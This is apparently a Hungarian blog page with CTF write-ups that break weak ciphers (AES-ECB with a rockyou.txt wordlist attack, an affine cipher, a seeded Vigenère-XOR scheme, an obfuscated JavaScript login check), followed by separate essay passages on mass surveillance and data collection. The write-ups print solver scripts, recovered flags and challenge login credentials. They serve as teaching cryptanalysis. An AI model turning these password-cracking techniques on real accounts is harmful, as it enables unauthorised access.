from Crypto.Util.Padding import pad
import binascii, string


with open('password.txt') as pwd_file:
    pwd = pwd_file.read().strip()

# check printability
assert all(k in string.ascii_letters + string.digits for k in pwd)

pwd = pwd.encode()

if len(pwd) not in [16, 24, 32]:
    raise ValueError("Invalid AES key length. Key must be 16, 24, or 32 bytes long.")

with open('message.txt', 'r') as message_file:
    message = message_file.read().strip()  

words = message.split()

ciphertext = b""
cipher = AES.new(pwd, AES.MODE_ECB)

for word in words:
    word_padded = pad(word.encode(), AES.block_size)
    encrypted_word = cipher.encrypt(word_padded)
    ciphertext += encrypted_word


with open('encrypted_message.aes', 'wb') as file:
    file.write(ciphertext)

print("Encryption complete. Ciphertext saved to 'encrypted_message.aes'.")

Magyarázat

A encrypted_message.aes fájl tartalmát a generator.py fájl hozta létre. A program egy password.txt fájlból beolvas egy jelszót, amiről kiderül, hogy csak (angol) alfanumerikus karaktereket tartalmaz és 16, 24 vagy 32 karakter hosszú. Beolvas ezen kívül egy message.txt fájlt is, amit szavanként feldarabol, és a jelszóval eltitkosítja AES-ECB titkosítással, majd a titkos blokkokat kiírja egy fájlba.
Tudni kell az AES-ről, hogy 16 bájt hosszúságú blokkokat fogad, és ugyan ilyen hosszú blokkokat ad vissza. Amikor a titkosítandó adat mérete nem pontosan osztható 16 bájtal, ki kell egészíteni. Ezt teszi a pad függvény. Az érdekesség, hogy a program az AES-t ECB módban használja, aminek egy nagy veszélye, hogy nem tesz entrópiát a titkosítandó adatba, azaz módosítás nélkül titkosít el minden blokkot. Ezzel az a baj, hogy az azonos blokkok mindig azonos eredményt adnak.

Cél

A zipben lévő üzenetet kell kititkosítani, abból pedig kiderül, mivel kell belépni az oldalra.

Megoldás

Ha kiszámoljuk a lehetséges jelszavak számát:

>>> 16**62 + 24**62 + 32**62
2085924877185928105442759926841284955304321885717825681976502561860327976404420042599490912256

kiderül, hogy nem lenne értelme elkezdeni bruteforceolni. Jobb ötlet, ha megnézünk inkább egy jelszólistát, hátha benne van. Ilyen például a rockyou.txt, amiből kigyűjtjük a megfelelő jelszavakat: grep -E '^[a-zA-Z0-9]{16}$|^[a-zA-Z0-9]{24}$|^[a-zA-Z0-9]{32}$' rockyou.txt > passwords.txt. Ha feldaraboljuk a fájl tartalmát 16 bájtonként, feltűnik, hogy a 8332988eb6fafe7212c52c0ec20495b6 blokk 7-szer, míg a c151fc2e0b9cec7d36616c458029a99e blokk 6-szor fordul elő. Azt tudjuk, hogy minden blokk egy szót jelöl (ha kisseb mint 16 karakter). Az angolban a két leggyakoribb szó a the és a be. Próbáljuk meg ezeket dekriptálni a kigyűjtött jelszavakkal, például a következő programmal:

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

with open('passwords.txt') as pw_file:
    pws = pw_file.read().splitlines()

encrypted_block1 = bytes.fromhex("c151fc2e0b9cec7d36616c458029a99e")
encrypted_block2 = bytes.fromhex("8332988eb6fafe7212c52c0ec20495b6")

for pw in pws:
    pw = pw.encode()

    cipher = AES.new(pw, AES.MODE_ECB)

    decrypted_block1 = cipher.decrypt(encrypted_block1)
    try:
        unpadded_text1 = unpad(decrypted_block1, AES.block_size)
    except ValueError:
        continue
    else:
        print(pw, unpadded_text1)
        text1 = unpadded_text1.decode()

    decrypted_block2 = cipher.decrypt(encrypted_block2)
    try:
        unpadded_text2 = unpad(decrypted_block2, AES.block_size)
    except ValueError:
        continue
    else:
        print(pw, unpadded_text2)
        text2 = unpadded_text2.decode()

    #ha a két halmaznak van közös eleme
    if {"the", "be"} & {text1.lower(), text2.lower()}:
        print(pw)

Kiderül, hogy rögtön a 6. jelszó megfelelő: avengedsevenfold. Már csak vissza kell titkosítani az egészet. Egy egyszerű megoldás, ha feltöltjük a fájlt Cyberchefre, mivel itt is van AES titkosító. A Cyberchef ugyan nem unpaddol minden egyes blokkot, csupán az egész üzenetet egyben, de a lényeg így is látszik belőle: a flag első fele HTB{Br3@k_Th3, valamint a belépési adatok Username: Hacktheboxadmin Password: G7!xR9$sT@2mL^bW4&uV

2. rész

Forrás

Az oldalra belépve egy chat beszélgetést látunk, amiben két fájl is fel lett töltve: encrypted.txt és encryptor.py

A Python fájl tartalma:

from math import gcd
import random

def encrypt(a, b):
    ct = []
    for ch in msg:
        if ch.isalpha():
            encrypted_char = chr(((a * (ord(ch) - 65 - b)) % 26) + 65)
            ct.append(encrypted_char)
        else :
            ct.append(ch)
    return ''.join(ct)


msg = open('secret_message.txt').read()

while True:
    a = random.randint(1, 26)
    b = random.randint(1, 26)
    if gcd(a, 26) == 1:
        break

with open('encrypted.txt', 'w') as f:
    f.write(encrypt(a,b))

print("Encrypted message saved to encrypted.txt")

Magyarázat

A program egy úgynevezett affin titkosítást használ. Ahol a titkosítás menete: \(E_{a,b}(x) = a \cdot x + b ~ mod ~ m\), a kititkosításé: \(D_{a,b}(y) = a^{-1} (a - b) ~ mod ~ m\), ahol \(a, b\) a kulcs, \(m\) pedig az ábécé mérete, itt \(m = 26\). Ehez véletlenszerűen generált kulcsot használ. Így titkosítja a secret_message.txt tartalmát az encrypted.txt fájlba (amit szintén megkaptunk). Ennek a titkosításnak nagy hátránya, hogy egy betűt eltitkosítva mindig ugyan azt az eredményt adja. Ezért frekvencia analízissel (a számok előfordulási arányát megállapítva) lehet egy jó tippünk a gyakori betűk titkosított megfelelőjére, amiből ki lehet számítani a kulcs értékeit.

Cél

Meghatározni a titkosításhoz használt kulcsot és kititkosítani a kapott fájlt.

Megoldás

A titkos üzenetben előforduló leggyakoribb betű a D (3.), valószínűleg ez rejti az E (4.) betűt. Ezt beírva a képletbe: \(3 = a \cdot 4 + b ~ mod ~ 26\). Tudjuk, hogy \(a\) és \(b\) is \([1,26]\) tartományban vannak, valamint \(gcd(a, 26) = 1\) (relatív prímek). Ezek alapján a 676 kulcsot leszűkíthetjük a következő 12 kulcsra: (1 25), (3 17), (5 9), (7 1), (9 19), (11 11), (15 21), (17 13), (19 5), (21 23), (23 15), (25 7). Lehetne a második leggyakoribb karakterre is kiszámítani, amivel tovább szűkülnének a lehetséges kulcsok számai, de ez is megfelelően kevés. A kulcsokat próbálgatva a (7, 1) kulcsra egy értelmes szöveg áll elő, benne a keresett flag második részével: _BL0CK_P@TT3RN} Íme a program, ami visszatitkosítja az üzenetet (vagy használható a Cyberchef is):

from math import gcd

def decrypt(a, b):
    a_inv = pow(a, -1, 26)

    ct = []
    for ch in msg:
        if ch.isalpha():
            encrypted_char = chr(((a_inv * (ord(ch) - 65 - b)) % 26) + 65)
            ct.append(encrypted_char)
        else :
            ct.append(ch)
    return ''.join(ct)

msg = open('encrypted.txt').read()

key= (7, 1)

with open('secret_message.txt', 'w') as f:
    f.write(decrypt(*key))

print("Decrypted message saved to secret_message.txt")

A feladathoz egy zip fájl van megadva, benne egy source.py és egy output.txt fájl.

A python fájl tartalma:

import random
import string
import base64
import time
from secret import FLAG

def generate_key(seed, length=16):
    random.seed(seed)
    key = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
    return key

def polyalphabetic_encrypt(plaintext, key):
    key_length = len(key)
    ciphertext = []
    for i, char in enumerate(plaintext):
        key_char = key[i % key_length]
        encrypted_char = chr((ord(char) + ord(key_char)) % 256)
        ciphertext.append(encrypted_char)
    return base64.b64encode(''.join(ciphertext).encode()).decode()

def xor_cipher(text, key):
    return bytes([ord(c) ^ key for c in text])

def get_timestamp_based_keys():
    timestamp = int(time.time())
    if timestamp % 2 == 0:
        key_seed = random.randint(1, 1000)
        xor_key = 42
    else:
        key_seed = 42
        xor_key = random.randint(1, 255)
    return key_seed, xor_key

def main():
    # Split the flag
    flag_half1 = FLAG[:len(FLAG)//2]
    flag_half2 = FLAG[len(FLAG)//2:]
    
    encrypted_flags = []
    
    for _ in range(2):
        key_seed, xor_key = get_timestamp_based_keys()
        key = generate_key(key_seed)
        encrypted_half = polyalphabetic_encrypt(flag_half1 if len(encrypted_flags) == 0 else flag_half2, key)
        encrypted_half = xor_cipher(encrypted_half, xor_key)
        encrypted_flags.append(encrypted_half.hex())
        time.sleep(1)
    
    # Save encrypted flags to output.txt
    with open('output.txt', 'w') as f:
        f.write(f"{encrypted_flags[0]}\n{encrypted_flags[1]}\n")


if __name__ == "__main__":
    main()

Magyarázat

A program fog egy flag értéket és kettészedi a felénél. Mindkét félhez külön kulcsokat generál, de azonos módon titkosítja őket. A részeket előbb egy Vigenère-rejtjelhez hasonló módszerrel titkosítja (itt az egész bájtot veszi, nem csak az ábécét), base64-el bekódolja, majd XOR-oz minden bájtot egy kulcs bájttal. A kulcsok generálása időhöz van kötve. Páros másodpercnyi időben [1,1000] tartományból választ seedet a Vigenère kulcs generálásához (ami mindig 16 hosszú), az XOR bájt ilyenkor 42. Páratlan másodperc szám esetén a Vigenère kulcs generátor seedje lesz 42 és az XOR bájt véletlenszerű. Mindkét fél más paritású másodpercben titkosítódott le, mivel a titkosítások között vár 1 másodpercig.

Cél

A titkosításhoz használt kulcsok kiszámítása és a flag visszaállítása.

Megoldás

A kódolt flagrészeket beillesztve a Cyberchefbe rá lehet jönni, hogy a 2. fél páros másodpercben titkosítódott, mivel a 42 XOR bájtra egy base64 szöveget ad vissza. Tehát az 1. fél páratlanban, míg a 2. párosban jött létre. A Cyberchef XOR bruteforce funkcióját használva kiderül, hogy az 1. fél XOR bájtja 119, mivel ez ad csak értelmes base64 kódot. Ez azt is jelenti, hogy a kulcs generálásához használt seed a 42-es szám. A generált kulcs pedig: OhbVrpoiVgRV5IfL.

A program által használt titkosítás inverze:

def polyalphabetic_decrypt(ciphertext: str, key: str) -> str:
    ciphertext = base64.b64decode(ciphertext.encode()).decode()
    key_length = len(key)
    plaintext = []
    for i, char in enumerate(ciphertext):
        key_char = key[i % key_length]
        decrypted_char = chr((ord(char) - ord(key_char)) % 256)
        plaintext.append(decrypted_char)
    return ''.join(plaintext)

Az első fél visszafejtése a kulccsal:

>>> polyalphabetic_decrypt("wpfCvMKkw5HDpsOZw5zDjsOJw5vCs8ODwqXCqMOIwq3DgsONw4bCtcOXw57DksObw4/Dl8OG", 'OhbVrpoiVgRV5IfL')
'HTB{timestamp_based_encrypt'

A 2. félnél már tudjuk, hogy 42-vel kell XOR-ozni. A seed megtalálásához pedig csak 1000 lehetőséget kell végigpróbálni, ami nem olyan sok.

def polyalphabetic_bruteforce(value: str) -> None:
    for key_seed in range(1, 1000+1):
        key = generate_key(key_seed)
        plaintext = polyalphabetic_decrypt(value, key)
        if (plaintext[-1] == '}'):
            print(plaintext)

A néhány kijött eredmény között felbukkan egy értelmes szöveg is:

>>> polyalphabetic_bruteforce("w5bDgcK0w4TDjMK5wq3DqsKjw5PCq8KdwrzDh8Oawq3DjMK7wqXDlcOVwrXCu8OgwqfDmcK1")
...
ion_is_so_secure_i_promise}
...

A feladathoz egy zip fájl, azon belül mindössze egy index.html fájl tartozik. Ebből a lényegi rész csupán ez az egy hosszú sor:

async function checkCredentials(){var t=document.getElementById("access-user").value, r=document.getElementById("access-code").value;c1="NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm",c2="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",n1=[5,6,7,8,9,0,1,2,3,4],n2="0123456789";var n=(e,t,r)=>e.reduce(((e,r,n)=>r.apply(e,t[n])),r),c=[""],i=String.prototype.split,a=Array.prototype.join,o=Array.prototype.filter,p=Array.prototype.map,l=String.prototype.slice,y=String.prototype.repeat,u=Array.prototype.indexOf,s=Array.prototype.reduce,d=Array.prototype.reverse,h=function(e){return this==e},f=function(e){return indexedDB.cmp(this,e)},A=String.prototype.charAt;if([[[i,p,f,h],[c,[e=>-1==u.call(c2,e)?e:c1[u.call(c2,e)]],[["n","q","z","v","a"]],[0]],t],[[l,y,i,p,o,f,h],[[0,4],[3],c,[e=>-1==u.call(c2,e)?e:c1[u.call(c2,e)]],[(e,t)=>t%3==1],[["G","U","{","O"]],[0]],r],[[l,function(){return encodeURI(this)},l,function(e){return parseInt(this,e)},function(e){return this^e},h],[[-1],[],[-2],[16],[96],[29]],r],[[i,s,h],[c,[e=>e+e,1],[16777216]],r],[[y,i,p,s,h],[[21],c,[e=>n1[u.call(n2,e)]],[(e,t)=>e+h.apply(t,[8]),0],[63]],r],[[i,o,p,d,a,h],[c,[(e,t)=>~u.call([4,11,13,14,16,17,20,22],t)],[e=>c1[u.call(c2,e)]],[],["-"],["E-X-U-P-J-C-Q-S"]],r],[[function(){return Array.from(this)},f,h],[[],[["_"]],[0]],new Set(n([l,i,d,o],[[12,16],c,[],[(e,t)=>~u.apply([0,3],[t])]],r))],[[i,d,o,function(){return this.slice(2,this.length).concat(this.slice(0,2))},d,a,h],[c,[],[(e,t)=>~u.apply([18,13,4,16,15],[t])],[],[],[""],["ncrnt"]],r],[[A,h],[[6],["0"]],r]].reduce(((e,t)=>e&&n.apply(void 0,t)),!0)){var v=new Uint8Array((new TextEncoder).encode(r)),g=new Uint8Array(await crypto.subtle.digest("SHA-256",v)),m=new Uint8Array([9,87,39,96,151,202,140,186,120,235,167,229,47,231,6,212,77,205,58,14,248,104,169,79,116,140,236,98,126,26,100,120]);0==indexedDB.cmp(g,m)?activate():alert("User is not authorized. This incident will be reported.")}else alert("User is not authorized.")}

Magyarázat

Meglehetősen obfuszkálva van, de egy kis tördelés és refaktorálás után érthetőbb:

async function checkCredentials() {
    var username = document.getElementById("access-user").value;
    var code = document.getElementById("access-code").value;
    var alphabet2 = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm";
    var alphabet  = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
    var numbers_array = [5, 6, 7, 8, 9, 0, 1, 2, 3, 4];
    var numbers_str = "0123456789";
    function n (operations, operands, first_argument) {
        operations.reduce(
            (prev, curr, index) => curr.apply(prev, operands[index]), 
            first_argument
        );
    }
    var is_equals_to_this = function (e) {
            return this == e;
        };
    var cmp_to_this = function (e) {
            return indexedDB.cmp(this, e);
        };
    if (
        [
            [
                [String.prototype.split, Array.prototype.map, cmp_to_this, is_equals_to_this], 
                [[""], [(e) => (-1 == Array.prototype.indexOf.call(alphabet, e) ? e : alphabet2[Array.prototype.indexOf.call(alphabet, e)])], [["n", "q", "z", "v", "a"]], [0]], 
                username
            ],
            [
                [String.prototype.slice, String.prototype.repeat, String.prototype.split, Array.prototype.map, Array.prototype.filter, cmp_to_this, is_equals_to_this], 
                [[0, 4], [3], [""], [(e) => (-1 == Array.prototype.indexOf.call(alphabet, e) ? e : alphabet2[Array.prototype.indexOf.call(alphabet, e)])], [(e, t) => t % 3 == 1], [["G", "U", "{", "O"]], [0]], 
                code
            ],
            [
                [String.prototype.slice, function () { return encodeURI(this); }, String.prototype.slice, function (e) { return parseInt(this, e); }, function (e) { return this ^ e; }, is_equals_to_this],
                [[-1], [], [-2], [16], [96], [29]],
                code,
            ],
            [
                [String.prototype.split, Array.prototype.reduce, is_equals_to_this], 
                [[""], [(e) => e + e, 1], [16777216]], 
                code
            ],
            [
                [String.prototype.repeat, String.prototype.split, Array.prototype.map, Array.prototype.reduce, is_equals_to_this], 
                [[21], [""], [(e) => numbers_array[Array.prototype.indexOf.call(numbers_str, e)]], [(e, t) => e + is_equals_to_this.apply(t, [8]), 0], [63]], 
                code
            ],
            [
                [String.prototype.split, Array.prototype.filter, Array.prototype.map, Array.prototype.reverse, Array.prototype.join, is_equals_to_this], 
                [[""], [(e, t) => ~Array.prototype.indexOf.call([4, 11, 13, 14, 16, 17, 20, 22], t)], [(e) => alphabet2[Array.prototype.indexOf.call(alphabet, e)]], [], ["-"], ["E-X-U-P-J-C-Q-S"]], 
                code
            ],
            [
                [function () { return Array.from(this); }, cmp_to_this, is_equals_to_this],
                [[], [["_"]], [0]],
                new Set(n([String.prototype.slice, String.prototype.split, Array.prototype.reverse, Array.prototype.filter], [[12, 16], [""], [], [(e, t) => ~Array.prototype.indexOf.apply([0, 3], [t])]], code)),
            ],
            [
                [String.prototype.split, Array.prototype.reverse, Array.prototype.filter, function () { return this.slice(2, this.length).concat(this.slice(0, 2)); }, Array.prototype.reverse, Array.prototype.join, is_equals_to_this],
                [[""], [], [(e, t) => ~Array.prototype.indexOf.apply([18, 13, 4, 16, 15], [t])], [], [], [""], ["ncrnt"]],
                code,
            ],
            [
                [String.prototype.charAt, is_equals_to_this], 
                [[6], ["0"]], 
                code
            ],
        ].reduce((prev, curr) => prev && n.apply(void 0, curr), true)
    ) {
        var code_bytes = new Uint8Array(new TextEncoder().encode(code));
        var code_hash = new Uint8Array(await crypto.subtle.digest("SHA-256", code_bytes));
        var correct_hash = new Uint8Array([9, 87, 39, 96, 151, 202, 140, 186, 120, 235, 167, 229, 47, 231, 6, 212, 77, 205, 58, 14, 248, 104, 169, 79, 116, 140, 236, 98, 126, 26, 100, 120]);
        0 == indexedDB.cmp(code_hash, correct_hash) ? activate() : alert("User is not authorized. This incident will be reported.");
    } else alert("User is not authorized.");
}

Cél

A függvényben lévő feltételben találhatóak nyomok a jelszó, azaz a flag egyes karaktereire. Ezeket felhasználva kell kitalálni mi is a flag.

Megoldás

Vegyük sorra a feltételeket és azt, hogy mi derül ki belőlük.

indexedDB.cmp(username.split("").map((e) => (-1 == alphabet.indexOf(e) ? e : alphabet2[alphabet.indexOf(e)])), ["n", "q", "z", "v", "a"]) == 0

username == "admin" Ez igazából nem releváns a megoldáshoz.

indexedDB.cmp(code.slice(0, 4).repeat(3).split("").map((e) => (-1 == alphabet.indexOf(e) ? e : alphabet2[alphabet.indexOf(e)])).filter((e, t) => t % 3 == 1), ["G", "U", "{", "O"]) == 0

code[0:4] == "HTB{"

parseInt(encodeURI(code.slice(-1)).slice(-2), 16) ^ 96 == 29 

code[-1] == "}"

code.split("").reduce((e) => e + e, 1) == 16777216 

len(code) == 24

code.repeat(21).split("").map((e) => numbers_array[numbers_str.indexOf(e)]).reduce((e, t) => e + t == 8, 0) == 63 

code.count('3') == 3

code.split("").filter((e, t) => ~[4, 11, 13, 14, 16, 17, 20, 22].indexOf(t)).map((e) => alphabet2[alphabet.indexOf(e)]).reverse().join("-") == "E-X-U-P-J-C-Q-S" 

code[4] == "F" and code[11] == "D" and code[13] == "P" and code[14] == "W" and code[16] == "C" and code[17] == "H" and code[20] == "K" code[22] == "R"

indexedDB.cmp(Array.from(new Set(code.slice(12, 16).split("").reverse().filter((e, t) => ~[0, 3].indexOf(t)))), ["_"]) == 0 

code[12] == "_" and code[15] == "_"

code.split("").reverse().filter((e, t) => ~[18, 13, 4, 16, 15].indexOf(t)).slice(2).concat(this.slice(0, 2)).reverse().join("") == "ncrnt" 

code[19] == "c" and code[10] == "n" and code[8] == "t" and code[7] == "n" and code[5] == "r"

code.charAt(6) == "0" 

code[6] == "0"

Végül mindet megfejtve fény derül a teljes flagre: code == "HTB{Fr0nt3nD_PW_CH3cK3R}"

Az alku

Az ipari forradalomban a szén-dioxid volt a melléktermék, melyet a gépek füstöltek működésük közben. Korunk eme hasonló mellékterméke az adat, melyet a számítógépek természetüktől fogva fogyasztanak és készítenek (input/output). Az adat szinte teljesen behálózta életünket, szinte bármit teszünk, nagy esély van rá, hogy vagy lokálisan, vagy egy 1000 km-re lévő komplexumban, az feldolgozva van, vagy eltárolva 0-sok és 1-sek formájában.

Tudjuk mit csinálsz. Tudjuk mire gondolsz.

A telefonunkkal bármikor, szinte bárhol (ahol van lefedettség), bárkit felhívhatunk. Az, hogy ez létrejött ezer meg ezer ember feszített munkájának, kutatásának és küzdelmének a sikere, és az biztos, hogy az emberiség büszke lehet rá. Azonban működéséhez állandóan, még akkor is ha éppen nem használják, közvetítenie kell minden telefonnak a helyzetét, hogy a megfelelő adótoronyhoz kapcsolja azt.

A helymeghatározásra van egy pontosabb technológia is, amely valószínűleg a te telefonodon is be van kapcsolva, a GPS. Csomó alkalmazás használja ezt, mint például a Google Maps, az Uber vagy az Angry Birds. Valamelyik ténylegesen nyújt mellé szolgáltatást is, van amelyik csak értékesíti a háttérben azt. Az Angry Birds például akkor is pénzt csinál a helymeghatározásból, amikor éppen nem is játszol. Az állandó helymeghatározásból olyan profilt lehet alkotni egy emberről, ami sokakat meglepne szerintem.

Látszik az, hogy eszközünk mely másik eszközök közelében van, ebből lehet következtetni kik az ismerőseink, kollégáink vagy családtagjaink, attól függően, hogy éppen hol vagyunk, ami ugyebár ismert. Tehát szociális, ismerettségi háló már pipa. Rendszeresen, mondjuk vasárnaponként templom közelében vagyunk? Biztosan vallásosak vagyunk. Ott volt a telefonunk helyzete a tegnapi tüntetés helyszínén? Politikai, ideológiai orientáltság pipa. Napi rutin, mennyi időt töltünk az étteremben vacsorakor, hol lakunk, hol dolgozunk, ezek mind elérhetőek csak a helyzetünk alapján, és még sokkal több.

A helymeghatározás csak egy a sok közül. Manapság már szinte minden tevékenységünk során így vagy úgy de számítógépeket használunk, azaz adatot termelünk. Okos hűtő amely figyeli mikor jár le az étel. Okos órák amely számolja mikor alszol, mozogsz, égetsz kalóriát, amelyekből akár kiszámolja mikor szexelsz. Ezeknek mind megvan az a potenciálja, hogy a hatékonyságot, a kényelmet és a jobb életszínvonalat eredményezzen, de valahogy a háttérben mégsem ezek a mozgatóerők. Ott vannak az autók melyek fekete doboza a szenzorokon keresztül rögzíti milyen gyorsan mentünk, és az újabb autókon már azt is, hogy merre. Az utcákon a kamerák szinte már minden lépésünket lefedik, és párosítva arcfelismerő algoritmusokkal, tökéletesen lehet minket követni, egy képernyő mögül, egy székben hátradőlve. Mikrofonok segítségével pedig már hangfelvételt is kapunk. Tudtad, hogy csupán a billentyűzeted gépelésének a hangjából, egy megfelelő tanuló algoritmus, 97%-os pontossággal meg tudja mondani mit gépeltél, például a jelszavadat, amit az előbb gépeltél be valahova? Szemlélet váltásra van szükség és tisztázni kell az emberekkel, hogy mikor, mennyit adnak föl a magánéletükből és a szabadságukból. Az okos hűtő az nem egy hűtő amelyben van egy számítógép, hanem egy számítógép amely hűteni képes. Az autó az nem egy autó amelyen van egy fedélzeti számítógép, hanem egy számítógép amelynek 4 kereke van.

A jó zsaru

Miután már tömegesen mindenkiről van adat, csoportokat lehet alkotni az emberekből, különböző szempontok alapján. Mondjuk kiváncsi vagyok ki az aki egy bizonyos témában érdekelt, vagy ki az akinek egy bizonyos politikai hitvallása van. Ezeket a vállalatok felhasználják potenciális vásárlók felkutatásában, a rendőrség és terrorelhárítás meg mondjuk potenciális bűnözők azonosításában. Az NSA például kiemeli a tömegből azon egyéneket akik ki akarnak bújni a megfigyelés alól, például olyan cikkeket olvasnak amik éppenséggel ezt taglalják. Te is éppen egy ilyen cikket olvasol :D. Azok az emberek akikről nem tudunk semmit, attól félünk mert veszélyesek lehetnek és mi erről nem tudunk.

Egyéneket is könnyen meg lehet találni az adat tengerben, pélául ha tudod hogy az akit keresel egy adott buszmegállóban volt, majd egy adott étteremben vacsorázott egy ismert időpontban, akkor a sok telefon helyzetén futtatott keresésben előbukkan az a telefon amelyre ezek mind teljesülnek. Csoportosulásokat is fel lehet térképezni, például ha Bob és Alice egy étteremben voltak, majd egyszerre voltak ugyanabban a kávézóban később pedig a reptéren, akkor a rendszer Bob-ot és Alice-t társnak fogja ‘flagelni’. Ez egy nyomozásban komoly segítség lehet. Gyanús viselkedésre is lehet következtetni bizonyos adatokból. Például a mobil szolgáltatók adatbázisán keresztül futva kereshetünk olyan telefonokat amelyeket rövid ideig használtak, majd soha nem kapcsolták be őket újra. Ezek a “burner” telefonok, amiket azok használják, akik kerülni szeretnék a figyelmet. Továbbá gyűjtik azt is, hogy meddig, mikor és hol volt kikapcsolva a telefonod, és voltak-e mások is többen akik kikapcsolták a telefonjukat a közelben. Ergo titkos gyülekezeteket keresnek.

Ezek olyan dolgok amelyeket a rendfentartó szervek fel is használnak a bűnözés és a terrorizmus ellen, és ez helyes is. Minden tudásunkat fel kell használnunk az állampolgárok és családunk védelmében. Csupán abban látom a problémát, hogy nincsenek fékek és ellensúlyok, legalábbis a Snowden által szivárogtatott NSA dokumentumok alapján nem úgy tűnik. A botrány során fényderült arra, hogy jogi kiskapukat, és önkényes törvényhozást kihasználva, azt az amerikai családot tudta lehallgatni az NSA akit csak szeretett volna. Illetve az is helytelen, mikor a félelemkeltés eszközével élnek ezek a bizonyos szervek, hogy a szavazók érzelmeire hassanak, miközben takarva azt, hogy szép lassan felszalámizzák az emberek maradék privát életét. “Add át magad nekünk, és felmentük téged a félelmeid alól”, “Ha nem vagy bűnös, akkor minek van titkolni valód?”. Körülbelül ezek lehetnek az alappillérei ezen szerveknek. Ne felejtsük el, hogy az ‘56-os forradalmárokat is terrorizmus vádjával üldözték.

Megfigyelés egy internet csatolt világban

Ha felcsatlakozunk az internetre akkor ez az adatmennyiség megtöbbszöröződik. A böngészők tisztában vannak melyik oldalt látogatsz, mennyi ideig. A böngésződdel őszintébb vagy mint bárki mással, olyan mint egy napló. valószínűleg jobban ismer a böngésződ téged mint te saját magadat, hiszen a böngésző meghatározatlan ideig képes eltárolni az információt, míg te könnyen elfelejted ugyanezeket a dolgokat. Tisztában van azzal, hogy ezt olvasva unatkozol-e vagy éppenséggel felcsigáz a téma. Ez alapján következtetéseket von le, profiloz téged. A cél az, hogy megjósolja az embereknél a költségesebb vásárlásokat, eseményeket, mint például a házasság, gyerekvállalás. Valós történet, hogy az USA-ban egy apuka felháborodott a Target cég célzott reklámain, miután a kislányának babakocsikat, és babás dolgokat dobott föl. Végül mint kiderült valóban terhes volt a lánya. Előbb tudják hogy nyaralni szeretnél, vagy hogy meleg vagy mint, hogy egyáltalán a tudatod felszínére tőrnének ezek a gondolatok. A ‘cookiek’ segítségével mindenki egyénileg megkülönböztethető, így a böngésződ kényelmessé tudja tenni a használatát. Például tudja így hogy te voltál az akinek X és Y volt a kosarában a webshopon, így visszatudja ezt állítani miután újra megnyitottad az oldalt. Ugyanakkor be is jelentkeztet téged az oldalakra, így nem kell megint beírnod a jelszavadat például. A cookie viszont lehetővé teszi, hogy egyénileg hozzád csatolják a reklámokat. Ebben hatalmas pénzek vannak és pontosan ezért is van az, hogy akár több száz cég is gyűjt rólad adatot és cookie-t. Nem Nagy Testvér figyel téged hanem sokkal inkább sok Kis Testvér, akik meghalnak a kiváncsiságtól, hogy vajon mi érdekel téged. Persze ez olykor hasznunkra válik, hiszen tényleg azokra vágyunk amiket az algoritmusok rólunk kitalálnak, de ez könnyen oda fajúlhat hogy a döntéseink állandóan befolyásolva lesznek a cégek vagy kormányok érdekeit szolgálva, legyen az túlzott fogyasztás vagy poltikai manipuláció.

Jelenleg a ‘Big Data’ korát éljük. A számítástechnika fejlődése azt eredményezte, hogy az adat tárolása, illetve feldolgozása sokkal olcsóbban és hatékonyabban kivitelezhető. Ennek a következménye az, hogy jelenleg a cégek, adat brókerek és kormányok hozzáállása az adathoz: “Gyüjtsünk mindent, majd csak jó lesz valamire később”. Ezekből a nagy adathalmazokból bányásszák ki a következtetéseket rólunk, amelyeket felhasználni ilyen-olyan célokra. Van olyan eset is mikor az adat használhatatlan még. Ez lehet azért mert titkosítva van, vagy azért mert még nincsen eléggé kifinomult módszerünk az elemzésére. De ki tudja, hogy 10 év múlva nem lesz erre megoldás, vagy éppenséggel egy módszer a titkosítás feltörésére. Ugyanúgy tud kompromitáló lenni egy elévült adat is. Erre példa a Tour de France dopping botránya is, ahol évekkel ezelőtt gyűjtött vérmintákban tudták kimutatni új technológiával a versenyzőknél a teljesítményfokozó szereket. Az adatok tárolásának az ideje az csak is elérhető tárhely függvényében dől el, függetlenül a magánélet tiszteletben tartásától. Bizonyos esetekben meghatározatlan ideig is eltárolnak emberekről információkat. Ha befolyásosnak, értelmiséginek esetleg veszélyesnek vagy ítélve, akkor szinte biztos, hogy kiemelt figyelmet kapsz, hátha később jól jön a történelmed.

Annyi csúnya dolgot mondtam ezekről a szolgáltatásokról, amik gyűjtik rólunk az adatokat, hogy bizonyára felmerült benned is a kérdés, hogy akkor miért használják olyan sokan őket? Sok pszichológia van a háttérben, de a két legfontosabb erő az az, hogy ezek a szolgáltatások ingyenesek és kényelmesek. Több kutatás is kimutatta, hogy ha valami ingyenes, akkor az ember sokkal hajlamosabb az irracionális gondolkodásra és megfontolatlan, vagy elhamarkodott döntésekre. Senki ne értsen félre, nem abban találom a problémát, hogy valami ingyenes ÉS ráadásul még kényelmes is. Ezek tök jó dolgok. Csupán szerintem az emberekkel nem tudatosítják eléggé azt, hogy mekkora árat viszetnek és mekkora mennyiségben mondanak le a szabadságukról és magánéletükről, csak azért, hogy vicces macskás videókat nézegessenek.

Amikor a TV visszanéz

A klasszikus titkosítási módszerek, amelyeket használtak egészen mostanáig arra alapoznak, hogy a titkosításhoz (encryption) és a feloldáshoz (decryption) is ugyanaz a kulcs használatos. Ez azt igényli, hogy a kulcsot valami titkos közegben kellene átadnunk a második félnek anélkül, hogy egy harmadik fél ne szerezzen róla tudomást, hiszen akkor az összes titkosított üzenetünket olvasni tudná. Ez kicsit ilyen “tyúk vagy a tojás” probléma, hiszen pont arra akarnánk használni a kulcsot, hogy megteremtsük ezt a titkosított közeget. Illetve ekkor, teljesen meg kell bíznunk a második félben, hiszen miután megosztottuk vele a kulcsunkat, az teljesen az ő döntése lesz, hogy azt nem e adja tovább másnak.

Tegyük fel, hogy a bankba besétálunk és a fiókunkhoz elkéri a recepciós a jelszót. Ha egy kicsit is korrumpálható a recepciós, akkor a fiókunk jelszava könnyen nem kívánatos emberek kezébe kerülhet. Ehhez a problémához még visszatérek, addig is gondolkozz egy megoldáson.

